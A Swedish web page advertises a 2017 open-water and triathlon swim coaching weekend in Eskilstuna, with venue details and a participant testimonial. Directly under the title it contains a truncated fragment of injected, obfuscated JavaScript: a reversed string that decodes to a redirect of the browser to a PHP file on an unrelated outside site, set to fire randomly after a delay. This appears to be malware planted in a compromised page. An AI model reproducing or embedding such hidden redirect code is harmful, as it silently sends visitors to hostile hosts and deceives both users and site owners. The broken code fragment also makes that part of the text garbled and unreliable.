Simboosthelg – inriktning mot Open Water & Triathlonsimning 2017

 

) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=["'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and”]

Under vintern och våren 2017 finns möjligheten att vässa din simteknik & träna POW (Pool Open Water)  i Eskilstuna som leds av landslagstränaren i både simning och triathlon Fredrik Ludde Lundin aka Coach Ludde. Simboosten riktar sig till dig som redan utövar eller ska börja med Open Water simning, triathlon och/eller SwimRun och vill förbättra din simning. I samband med varje simpass går vi igenom simspecifika övningar på land.

Simträningen sker på nyöppnade och fräscha Munktellbadet i Eskilstuna, vi har 4 banor som fördelas på 20 deltagare. Vi bor och äter på Clarion Collection Hotell Bolinder Munktell, som endast är ca en 400m lång promenad från Munktellbadet. Vi samlas på sen fredagseftermiddag och avslutar på söndag efter lunch.

Delar av träningen filmas och tittar vi på filmerna tillsammans under helgen. Vi jobbar med visualisering så att du som deltagare kan se hur du utför dina övningar. Du kommer att få tillgång till filmer under och efter helgen.

En fantastiskt givande helg, både för erfarna och något mindre erfarna som vill utveckla sin simning. Teknik, praktik och teori varvades med glädje och skratt och en stor portion kämparglöd. Stor eloge och båda tummarna upp till de kompetenta och pedagogiska coacherna! /Catharina (deltagare okt 2016)

Inom kort fylls det på med mer information och möjlighet till bokning och anmälan.

Håll utkik!

  • Innehållet är inte tillgängligt.
    Vänligen tillåt cookies genom att klicka på ”Godkänn” i bannern
  • Buffer
  • Pin It

För att fortsätta använda denna webbplats behöver du godkänna användandet av cookies. mer information samt möjligheten att avaktivera cookies hittar du här

Dina cookie-inställningar för denna webbplats är satt till ”tillåt cookies” för att ge dig den bästa upplevelsen. Om du fortsätter använda webbplatsen utan att ändra dina inställningar för cookies eller om du klickar ”Godkänn” nedan så samtycker du till detta.

Stäng